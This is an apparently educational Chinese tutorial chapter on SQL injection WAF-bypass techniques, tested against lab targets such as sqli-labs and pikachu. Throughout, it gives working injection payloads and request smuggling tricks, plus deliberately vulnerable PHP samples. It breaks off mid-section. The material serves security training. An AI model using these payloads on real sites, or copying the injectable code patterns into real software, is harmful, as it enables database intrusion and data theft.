Files
security-book/02.WEB安全/02.SQL注入绕过.md
2025-08-27 14:13:17 +08:00

1067 lines
35 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 02.SQL注入绕过
## 1. SQL 注入绕过
SQL 注入绕过技术已经是一个老生常谈的内容了,防注入可以使用某些云 waf加速乐等安全产品这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为 waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会详细介绍针对 waf 的拦截注入的绕过方法。
## 2. or and xor not绕过★
目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2 id=0 xor 1=1 limit 1 、id=1 xor 1=2
对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下
| 指令 | 字符 |
| ---- | ------------ |
| and | && |
| or | || |
| not | ! |
| xor | | |
需要注意并不是所有数据库的SQL语句都支持上述字符。
```sql
mysql> select * from users where id=1 and 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 && 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id not in (2,3);
+------+----------------------+-----------+
| id | username | password |
+------+----------------------+-----------+
| 1 | Dumb | Dumb |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+------+----------------------+-----------+
11 rows in set (0.00 sec)
mysql> select * from users where id in (2,3);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
+----+----------+------------+
2 rows in set (0.00 sec)
mysql> select * from users where id=1 && 2=1+1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```
### 2.1 源码分析
下面的代码会将id中的or和and替换为空字符串
![image.png](02.SQL注入绕过/1675386616896-f168a249-4226-4173-a2b2-9a74ccaedc34.png)
输入and、or都会被过滤报错
![image.png](02.SQL注入绕过/1675386749672-5a8c7f33-a027-423e-8c7f-7b24a024cc19.png)
使用||符号就可以绕过
![image.png](02.SQL注入绕过/1675386813319-417359e9-3131-4ac9-b3e1-50aa834b8a09.png)
## 3. 空格字符绕过
如果出现空格被拦截的情况就需要使用空格字符绕过。常见做法是尝试使用URL编码但是要注意在php中这类url编码在程序中仍然可能会被过滤掉。
| 编码 | 空格字符 |
| ---- | ----------------- |
| %09 | TAB键(水平制表符) |
| %0a | 新的一行 |
| %0c | 新的一页 |
| %0d | return功能 |
| %0b | TAB键(垂直制表符) |
| %a0 | 空格 |
另外SQL语句也支持注释来充当空格注释的格式为 `/*注释内容*/`
![image.png](02.SQL注入绕过/1675387429248-935d8b77-3fd1-4977-bcba-d51f06a1934c.png)
另外mysql也支持将某些命令根据版本兼容性来进行注释比如`/*!50000select*/`表示5.00.00版本以上的mysql才会执行这个代码
![image.png](02.SQL注入绕过/1675387758965-8b55d6fc-b2b6-4592-9681-40586cfb8c4a.png)
### 3.1 源码分析
![image.png](02.SQL注入绕过/1675387898191-300a31fc-2f28-44c3-9792-3243a1b8dada.png)
尝试使用注入语句,发现空格和--被过滤,使用普通的方式已经无法对代码形成闭合状态
使用如下闭合语句
![image.png](02.SQL注入绕过/1675388246009-534d5720-2725-4db8-8aa6-a6fe67ae9136.png)
使用报错注入
![image.png](02.SQL注入绕过/1675388405353-f60ff6aa-70cb-4906-8741-bc615f8d4545.png)
查找表名的时候发现空格被过滤
![image.png](02.SQL注入绕过/1675388494521-936b68da-6a64-4bb3-a899-28fd38169dbf.png)
使用括号绕过空格限制此处使用URL编码并不能绕过PHP的过滤策略
```
?id=1'||updatexml(1,concat(0x7e,(
select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')
)),1)||'1
```
![image.png](02.SQL注入绕过/1675388987831-f267e2d7-a9e8-4ff3-b199-0f258392e038.png)
空格字符编码绕过示例
![image.png](02.SQL注入绕过/1675392003127-044a6891-ce99-4102-ab0d-05f5989c3cf0.png)
## 4. 大小写绕过
注意下面的过滤代码正则匹配模式并未忽略大小写
![image.png](02.SQL注入绕过/1675389702549-c8e6c3f5-5aaa-42e6-a5d4-394ead24b3b1.png)
使用盲注
```sql
http://d16.s.iproute.cn/Less-27/?id=0'||substr((sElect(group_concat(username))from(users)),1,1)='D'||'0
```
![image.png](02.SQL注入绕过/1704874456979-344c10d4-2ffa-4e38-9879-e2f27f2605bd.png)
使用报错
```
http://d16.s.iproute.cn/Less-27/?id=1'||substr((updatexml(1,concat(0x7e,(SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1)),1,1)='D'||'1
```
![image.png](02.SQL注入绕过/1675390319606-b66c7870-d5db-4102-acfa-ef164e31db2e.png)
## 5. 浮点数绕过
sql 语句的一个特性,在浮点数后面跟着 union 可以不加空格并且1.0=1
![image.png](02.SQL注入绕过/1675390463355-5958c502-bb29-418f-b349-e6265f3aa008.png)
![image.png](02.SQL注入绕过/1675394156605-8b34cacb-cbec-4ee6-8292-12c3108e380e.png)
![image.png](02.SQL注入绕过/1675394258843-bb7acd47-63a4-4a81-aadd-2a392de13d12.png)
![image.png](02.SQL注入绕过/1675394309880-6391156e-1ca0-4a2e-ab68-c7db1721a58d.png)
为了闭合后面的引号,可以使用如下语句
![image.png](02.SQL注入绕过/1675394368928-8ad63fa7-3eff-4e1a-98b4-a7bf3a18b66e.png)
浮点数绕过实战
```sql
http://d16.s.iproute.cn/Less-27/?id=999.0'and(updatexml(1,concat(0x7e,database(),0x7e),1))||'1
```
![image.png](02.SQL注入绕过/1675394961118-edca890a-6404-4530-9ab2-aa18b26b9b7e.png)
上面这个案例看起来有浮点数其实和浮点数没关系改成任何字符串都没问题因为在源码中这个id是拼接为字符串的
![image-20250108103630308](02.SQL注入绕过/image-20250108103630308.png)
```
http://d16.s.iproute.cn/Less-27/?id=a'and(updatexml(1,concat(0x7e,database(),0x7e),1))||'1
```
![image.png](02.SQL注入绕过/1675395062388-d09af3b2-f8a6-4a0a-96cc-a21654f7fe8e.png)
浮点数绕过主要需要与union配合使用在过滤空格的场景中可以让union前面的空格省略
```sql
http://d16.s.iproute.cn/Less-27/?id=99.0'unIOn%0dseLEct(1),(database()),(3)%0d||'1
```
![image.png](02.SQL注入绕过/1675395656338-f542fa45-0e0b-4559-bde1-49d10dfdafca.png)
Null也可以作为union前面空格的省略工具
```sql
http://d16.s.iproute.cn/Less-27/?id=Null'unIOn%0dseLEct(1),(database()),(3)%0d||'1
```
![image.png](02.SQL注入绕过/1675395732552-4d4e08b4-6fe6-4715-9404-f6df618da9c0.png)
任意一个字符串包括数字字符串都可以作为union前面的省略工具
![image.png](02.SQL注入绕过/1675395757278-76ca2c86-b5be-46b4-b18b-eb3c8aa8532e.png)
![image.png](02.SQL注入绕过/1675395856261-2b1180e9-8f67-4155-8a7d-06673e72be90.png)
在这个案例中并没有用到整数型后面直接跟着union的特性但是这个知识点需要记住
## 6. 引号绕过
引号主要使用的是字符串可以将字符串转换为16进制就可以避免使用引号了
```sql
http://d14.s.iproute.cn/vulnerabilities/sqli/?id=1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x6431345f735f6970726f7574655f636e)--+&Submit=Submit#
```
![image.png](02.SQL注入绕过/1675398290598-80f6cdbc-4ce9-4cd1-80b2-5f3ad7b785d6.png)
## 7. 添加库名绕过
有些waf的拦截规则并不会拦截带上库名的表查询在遇到waf的时候可以做一下尝试
```sql
select user,host from mysql.user;
select * from users where id=-1 union select 1,2,3,concat(user,authentication_string) from mysql.user;
```
## 8. 去重绕过★
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截
```sql
select * from users where id=-1 union distinct select 1,2,3,version() from users;
```
实战效果
```sql
?id=-1' union distinct select 1,2,version() from users--+
```
![image.png](02.SQL注入绕过/1675755846927-fbcb653d-4bd9-4b23-b26d-b2f41e8f2d51.png)
匹配规则分析
![image.png](02.SQL注入绕过/1675756428782-61e9de20-3997-455a-826d-c30ec39e8014.png)
如果规则是这样的,就无效
![image.png](02.SQL注入绕过/1675756464451-1174b12c-5582-4f59-9d02-29ba4dc8dfe0.png)
# 反引号绕过
MySQL中的反引号(`)是为了区分MySQL的保留字与普通字符而引人的符号反引号可以代替空格绕过空格过滤。
```sql
select`username`from`users`;
```
## 9. 脚本语言特性绕过
在php语言中id=1&id=2后面的值会自动覆盖前面的值不同的语言有不同的特性。可以利用这点绕过一些waf的拦截。
```sql
id=1%00&id=2 union select 1,2,3
```
有些 waf 回去匹配第一个 id 参数 1%00 %00 是截断字符waf 会自动截断 从而不会检测后面的内容。到了程序中 id 就是等于 id=2 union select 1,2,3 从绕过注入拦截。
其他语言特性
| 服务器中间件 | 解析结果 | 举例说明 |
| -------------------------------- | -------------------------- | -------------------- |
| ASP.NET/IIS | 所有出现的参数值用逗号连接 | color=red,blue |
| ASP/IIS | 所有出现的参数值用逗号连接 | color=red,blue |
| PHP/Apache | 仅最后一次出现参数值 | color=blue |
| PHP/Zeus | 仅最后一次出现参数值 | color=blue |
| JSP,Servlet/Tomcat | 仅第一次出现参数值 | color=red |
| JSP,Servlet/Oracle App Server10g | 仅第一次出现参数值 | color=red |
| JSP,servlet/Jetty | 仅第一次出现参数值 | color=red |
| IBM Lotus Domino | 仅最后一次出现参数值 | color=blue |
| IBM HTTP Server | 仅第一次出现参数值 | color=red |
| mod_perl, libapreq2/Apache | 仅第一次出现参数值 | color=red |
| Perl CGI /Apache | 仅第一次出现参数值 | color=red |
| mod_wsgi(Python) /Apache | 仅第一次出现参数值 | color=red |
| Python/Zope | 转化为List | color=['red','blue'] |
实战效果
```
?id=1%00&id=-1' union select 1,2,version() from users --+
```
![image.png](02.SQL注入绕过/1675822488720-f13369ad-b52d-4731-9bc2-acc01631b67b.png)
## 10. substr字符串截取★
原理如下通过截取字符串来进行sql注入甚至可以通过转成16进制避免出现单引号。
```sql
mysql> select (substr(database() from 1 for 1));
+-----------------------------------+
| (substr(database() from 1 for 1)) |
+-----------------------------------+
| s |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and 's'=(select(substr(database()from 1 for 1)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and 0x73=(select(substr(database()from 1 for 1)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```
实战效果,使用命令
```sql
?id=1' and (select(substr(database() from 1 for 1)))=0x73--+
```
![image.png](02.SQL注入绕过/1675823891583-9377139a-a99c-41c0-8072-761dfaaa8c0b.png)
如果猜测不对,就会出现下面的界面
![image.png](02.SQL注入绕过/1675823916729-66f4d257-d563-4cf5-b861-cd4a7edd5295.png)
## 11. mid字符串截取★
这个 mid函数跟 substr 函数功能相同,如果 substr 函数被拦截或者过滤,可以使用这个函数代替
```
?id=1' and (select(mid(database() from 1 for 1)))=0x73--+
```
![image.png](02.SQL注入绕过/1675824489678-b843cf22-a00d-4da9-ab92-a4a2ce7dbde0.png)
## 12. 使用join绕过
使用 join 连接两个表
```
union select 1,2
等价于
union select * from (select 1)a join (select 2)b
```
```sql
mysql> select * from users where id=-1 union select * from (select 1)a join (select 2)b join (select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=-1 union select * from (select 1)a join (select user())b join (select 3)c;
+----+----------------+----------+
| id | username | password |
+----+----------------+----------+
| 1 | root@localhost | 3 |
+----+----------------+----------+
1 row in set (0.00 sec)
```
实战效果,使用命令
```sql
?id=-1' union select * from (select 1)a join (select user())b join(select 3)c--+
```
![image.png](02.SQL注入绕过/1675827077154-68d7fce4-96a4-4c0b-ac2a-03a42d13e129.png)
## 13. like绕过★
有时候不给使用=
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0
```sql
mysql> select user() like '%root%';
+----------------------+
| user() like '%root%' |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and (select user() like '%root%');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```
找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。
实战效果
```
?id=1' and (select user() like '%root%')--+
```
![image.png](02.SQL注入绕过/1675832702909-b253a8fd-06bc-4f87-a02b-44147f941852.png)
## 14. limit offset 绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目是一条,如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。
```sql
mysql> select * from users where id=-1 union select 1,2,user() limit 1 offset 0;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 2 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)
```
实际效果
```sql
?id=-1'union select 1,2,version() limit 1 offset 0--+
```
![image.png](02.SQL注入绕过/1675833023218-9ee47e87-43d3-46f7-b8b1-92c62586e44f.png)
## 15. ascii 字符绕过
截取出来的字符转为ascii码来避开联合查询注入
```sql
mysql> select substring(user(),1,1);
+-----------------------+
| substring(user(),1,1) |
+-----------------------+
| r |
+-----------------------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and substring(user(),1,1)='r';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and ascii(substring(user(),1,1))=114;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```
实战效果
```
?id=1' and ascii(substring(user(),1,1))=114--+
```
![image.png](02.SQL注入绕过/1675833350899-e3a4884d-2100-4480-b031-c8b8c990d707.png)
## 16. 等号绕过★
如果程序会对=进行拦截 可以使用 like、rlike、regex或者使用< 、>
### 16.1 < 、>绕过
```sql
mysql> select * from users where id=1 and ascii(substring(user(),1,1))<115;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and ascii(substring(user(),1,1))>115;
Empty set (0.00 sec)
```
绕过测试
```sql
?id=1' and ascii(substring(user(),1,1))<115--+
```
![image.png](02.SQL注入绕过/1675833702445-f18f4909-fe9e-477f-94ab-50f0634b8596.png)
### 16.2 like、rlike绕过
```sql
mysql> select * from users where id=1 and (select substring(user(),1,1)like 'r%');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
```
### 16.3 regex绕过
```sql
mysql> select * from users where id=1 and 1=(select user() regexp '^r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and 1=(select user() regexp '^a');
Empty set (0.00 sec)
```
## 17. 双关键词绕过
有些程序会对单词 union、 select 进行转空,但是只会转一次这样会留下安全隐患。双关键字绕过(若删除掉第一个匹配的 union 就能绕过)如:
`id=-1'UNIunionONSeLselectECT1,2,3--+` 到数据库里执行会变成 `id=-1'UNION SeLECT1,2,3--+` ,从而绕过拦截。
## 18. 二次编码绕过
有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,有些 waf 是不会拦截的。
php代码用了urldecode()等编码函数与php自身编码配合失误。
由于sqli-labs没有二次编码注入的环境所以我们在less1中加入一些代码
```php
// 转义字符串中的特殊字符
$id = mysql_real_escape_string($_GET[id]);
echo "mysql_real_escape_string: $id <br>";
$id = urldecode($id);
echo "urlencode: $id <br>";
```
![image.png](02.SQL注入绕过/1676007155485-a95d4a45-7c8f-4d72-a688-7571c451d590.png)
判断是否存在二次编码注入
```
doublecode.php?id=1'
```
![image.png](02.SQL注入绕过/1676007277322-3f8f1670-ab8d-4bc1-beab-4af728791ed4.png)
可以看到单引号被转义了,使用编码
以上图片体现二次编码 %25由于编码作用被转义为%,而接下来的%27二次编码被转义为'
![image.png](02.SQL注入绕过/1676007348040-b6096924-bfa5-4e5b-88f8-38ed216c9ce3.png)
下面即可正常进行SQL注入
```sql
http://d16.s.iproute.cn/Less-1/doublecode.php?id=-1%2527 union select 1,2,(select schema_name from information_schema.schemata limit 0,1)--+
```
![image.png](02.SQL注入绕过/1676172513456-a5e2c66e-8c38-499c-a414-e61a39e85be8.png)
## 19. 多参数拆分绕过
将多个参数拼接到同一条SQL语句中可以将注入语句分割插入主要用于union select一起使用被拦截的绕过
例如
`a=[input1]&b=[input2]`可以将参数a和b拼接在SQL语句中
例如如下代码
```sql
<?php
/**
* 数据库中插入如下语句
* use test
* create table users(id int primary key auto_increment,username varchar(50),password varchar(50),email varchar(50));
* insert into users value(1,'admin','123456','admin@iproute.cn');
*/
echo "<h2>多参数拆分注入</h2>";
header("Content-Type:text/html;charset=utf8");
$con = mysqli_connect("localhost", "root", "usbw", "test");
mysqli_set_charset($con, 'utf8');
if(!$con){
echo "Connect failed:" . mysqli_connect_error();
}
function filterstr($key){
if(!get_magic_quotes_gpc()){
$key = addcslashes($key);
}
return $key;
}
$id = isset($_GET['id']) ? $_GET['id'] : 1;
$username = isset($_GET['username']) ? $_GET['username'] : 'admin';
$sql = "select * from users where id='$id' and username='$username'";
$result = mysqli_query($con, $sql);
$row = mysqli_fetch_array($result);
if($row){
echo "id:" . $row['id'] . "<br>";
echo "用户名:" . $row['username'] . "<br>";
echo "密码:" . $row['password'] . "<br>";
echo "密码:" . $row['email'] . "<br>";
}
echo '<hr><br>';
echo "查询语句是:$sql <br>";
echo mysqli_error($con);
?>
```
可以使用如下命令绕过拦截
```sql
id=-1'union/*&username=*/select 1,user(),3,4--+
```
多参数拆分注入
![image.png](02.SQL注入绕过/1676175035416-dae551b2-fb52-4b52-83e1-a8bedd8db4ca.png)
## 20. 使用生僻函数绕过
使用生僻函数替代常见的函数这样可以绕过过滤规则不全面的waf拦截
例如使用exp()替换updatexml()
```sql
id=-1' and exp(~(select * from(select user())a))--+
```
![image.png](02.SQL注入绕过/1676175912163-58c82443-99ac-4c9d-8b24-57a2c44954ed.png)
## 21. 分块传输绕过★★★★★
背景知识
什么是 chunked 编码?
分块传输编码Chunked transfer encoding是只在 HTTP 协议 1.1 版本HTTP/1.1)中提供的一种数据传送机制。以往 HTTP 的应答中数据是整个一起发送的,并在应答头里 Content-Length 字段标识了数据的长度,以便客户端知道应答消息的结束。
传统的 Content-length 解决方案:计算实体长度,并通过头部告诉对方。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束。
Content-length 面临的问题:由于 Content-Length 字段必须真实反映实体长度,但是对于动态生成的内容来说,在内容创建完之前,长度是不可知的。这时候要想准确获取长度,只能开一个足够大的 buffer等内容全部生成好再计算。这样做一方面需要更大的内存开销另一方面也会让客户端等更久。因此我们需要一个新的机制不依赖头部的长度信息也能知道实体的边界——分块编码Transfer-Encoding: chunked
对于动态生成的应答内容来说,内容在未生成完成前总长度是不可知的。因此需要先缓存生成的内容,再计算总长度填充到 Content-Length再发送整个数据内容。这样显得不太灵活而使用分块编码则能得到改观。分块传输编码允许服务器在最后发送消息头字段。例如在头中添加散列签名。对于压缩传输传输而言可以一边压缩一边传输。
二、如何使用 chunked 编码
如果在 http 的消息头里 Transfer-Encoding 为 chunked那么就是使用此种编码方式。接下来会发送数量未知的块每一个块的开头都有一个十六进制的数,表明这个块的大小,然后接 CRLF("\r\n")。然后是数据本身数据结束后还会有CRLF("\r\n")两个字符。有一些实现中,块大小的十六进制数和 CRLF 之间可以有空格。最后一块的块大小为 0表明数据发送结束。最后一块不再包含任何数据但是可以发送可选的尾部包括消息头字段。消息最后以 CRLF 结尾。在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。
### 21.1 实战
由于 Windows 的IIS中间件对分块传输支持不佳所以此处选择使用Linux版本
靶场 pikachu
拦截一个数据包如下
![image.png](02.SQL注入绕过/1677649770849-14e281c1-5926-4061-8da1-259a2a5a99fa.png)
来到重放模块,修改为分块传输 首先在 http 头加上 Transfer-Encoding: chunked 表示分块传输传送第一行是长度第二行是字符串0 表示传输结束,后面跟上两个换行。
```
Transfer-Encoding: chunked
2
id
2
=1
1
&
6
submit
2
=1
0
```
![image.png](02.SQL注入绕过/1677649933953-b9e1a096-4bcf-4d5e-83cc-980d0ae803ca.png)
使用分块传输插件
插件主页https://github.com/c0ny1/chunked-coding-converter
![image.png](02.SQL注入绕过/1677650152914-0ff82f9a-51f3-41a6-8fb8-951d077f528f.png)
使用插件分块传输数字后面跟了个分号分号后面跟了一些奇怪的字符。这些字符的作用可有可无主要是用来充当垃圾字符来绕WAF的
![image.png](02.SQL注入绕过/1677650340030-0f2ab7e4-b1f5-4656-876e-0179b6f6964c.png)
查询到结果
![image.png](02.SQL注入绕过/1677650380188-288a5c71-5824-46be-a51c-28f2ac68a98f.png)
## 22. 白名单绕过
有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可以利用这个特点,可以试试白名单绕过。白名单通常有目录:
```sql
/admin
/phpmyadmin
/admin.php
```
普通的注入:
```sql
?id=-1' union select 1,2,version()--+
```
![image.png](02.SQL注入绕过/1677653860382-ee237a83-e78c-4a18-be51-4d6ac7a1ad2d.png)
加了白名单的注入:
```sql
?id=/admin.php?&id=-1' union select 1,2,version()--+
```
![image.png](02.SQL注入绕过/1677653929896-8467d1fa-5793-4d38-8593-a58ac9a3771b.png)
## 23. 静态文件绕过
除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。 例如 图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会进行检测从而绕过 waf 拦截。
注入:
```sql
?id=/test.jpg?&id=-1' union select 1,2,version()--+
```
![image.png](02.SQL注入绕过/1677653998801-082761d2-2b2e-4e4c-8e0d-f1fa1bd46024.png)
甚至可以改成这种:
```sql
?hack.js?&id=-1' union select 1,2,version()--+
```
## 24. pipline 绕过注入
http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据),其中包含了一个 Connection 字段,一般值为 closeapache 等容器根据这个字段决定是保持该 tcp 连接或是断开。当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止。
### 24.1 实战
这里需要POST形式的以sqli-labs靶场第11关为例
普通注入:
```sql
uname=' union select(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit
```
![image.png](02.SQL注入绕过/1677654334793-70861d71-0dd4-4fe5-ae07-0930df9abd28.png)
使用pipline注入
1. 把 brupsuite 自动更新 Content-Length 勾去掉。
![image.png](02.SQL注入绕过/1677654392927-8c5920c4-c737-4fa3-ba56-a810f96fe37d.png)
2. 复制请求包,粘贴一下。
![image.png](02.SQL注入绕过/1677654483393-5f7ad66d-dea9-4636-a4a8-8c4d8c87dd1e.png)
3. 设置payload并获取其长度
![image.png](02.SQL注入绕过/1677654670391-c185c7d6-7424-47e1-9e57-66c1c8520a76.png)
![image.png](02.SQL注入绕过/1677654717305-8c18d70b-cef2-42ca-ac68-b6a3f1a58597.png)
4. 修改Content-Length和Connection
![image.png](02.SQL注入绕过/1677654980624-b7149a7d-8d50-45ec-b178-1ac01a9aa597.png)
## 25. multipart/form-data 绕过
在 http 头里的 Content-Type 提交表单支持三种协议:
```sql
application/x-www-form-urlencoded 编码模式 post 提交
multipart/form-data 文件上传模式
text/plain 文本模式
```
文件头的属性是传输前对提交的数据进行编码发送到服务器。其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。
```sql
POST /vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.49.163:32777
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.49.163:32777
Content-Type: multipart/form-data;boundary=alicealice
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.49.163:32777/vul/sqli/sqli_id.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: loveuser=4da774edec5008a818f954b214a8e20d; PHPSESSID=qahkeg1u261kk1j8535hjedd5a
Connection: close
--alicealice
Content-Disposition: form-data; name="id"
-1 union select 1,user()
--alicealice
Content-Disposition: form-data; name="submit"
%E6%9F%A5%E8%AF%A2
--alicealice
```
![image.png](02.SQL注入绕过/1677657252026-8199ec04-4aea-47df-878f-b2c0b0ab2aa2.png)
## 26. order by绕过
当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。
```sql
mysql> use security
Database changed
mysql> select * from users where id=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
/* 数据库有3列 */
mysql> select * from users where id=1 order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
/* 普通order by查询 */
mysql> select * from users where id=1 into @a,@b,@c;
Query OK, 1 row affected (0.00 sec)
mysql> select * from users where id=1 into @a,@b;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
/* into查询列数正确返回ok列数错误返回error */
```
### 26.1 实战
使用命令:
```sql
?id=1' into @a,@b,@c--+
```
使用命令:
```sql
?id=1' into @a,@b--+
```
![image.png](02.SQL注入绕过/1677657853191-ea579d59-a5a0-4f6a-b46c-6132d4cada3b.png)
## 27. http 相同参数请求绕过★★
waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹配规则请求被拦截如果程序中能同时接收get、post变换请求方式有几率能绕过检测。
# application/json 或者 text/xml绕过
有些程序是 json 提交参数,程序也是 json 接收再拼接到 SQL 执行, json 格式通常不会被拦截。所以可以尝试绕过 waf。
比如下面的数据包
```sql
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:application/json
Content-Length: 38
Origin: http://192.168.0.115
Connection: close
Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
Upgrade-Insecure-Requests: 1
{'id':1 union select 1,2,3,'submit':1}
```
## 28. 大量字符绕过★★
有一定绕过的可能,数据包帧头过长时可能会超过设备的检测深度,导致绕过。
可以使用 select 0xA 运行一些字符从绕突破一些 waf 拦截,如:
```sql
id=1 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!union*//*!select*/1,user()
```
下面的案例中使用的注入post提交内容为
```sql
id=1+and+(select+1)and+(select+0xA*1000)/*!union*//*!select*/+1,user()--+&submit=%E6%9F%A5%E8%AF%A2
```
![image.png](02.SQL注入绕过/1677737972484-baad7e7c-2df6-45dc-8d11-3aa8ea5470f8.png)
## 29. 花括号绕过
```sql
select 1,2 union select{x 1},user()
```
花括 左边是注释的内容,这样可以一些 waf 的拦截。
使用命令
```sql
?id=-1' union select {x 1},2,version()--+
```
![image.png](02.SQL注入绕过/1677738395559-9a146075-e476-45cb-b346-e7a9f60feafb.png)
## 30. 使用 ALL 或者 DISTINCT 绕过★
使用命令:
```sql
?id=-1' union DISTINCT select 1,version(),3--+
```
![image.png](02.SQL注入绕过/1677738580241-faafacdb-87af-45ba-99d6-749abed79a1c.png)
## 31. 换行混绕绕过★★
目前很多 waf 都会对 union select 进行过滤,因为联合查询使用了这两个关键词,一般过滤这个两个字符,想用联合查询就很难了。可以使用换行 加上一些注释符进行绕过。
### 31.1 GET型
使用命令:
```sql
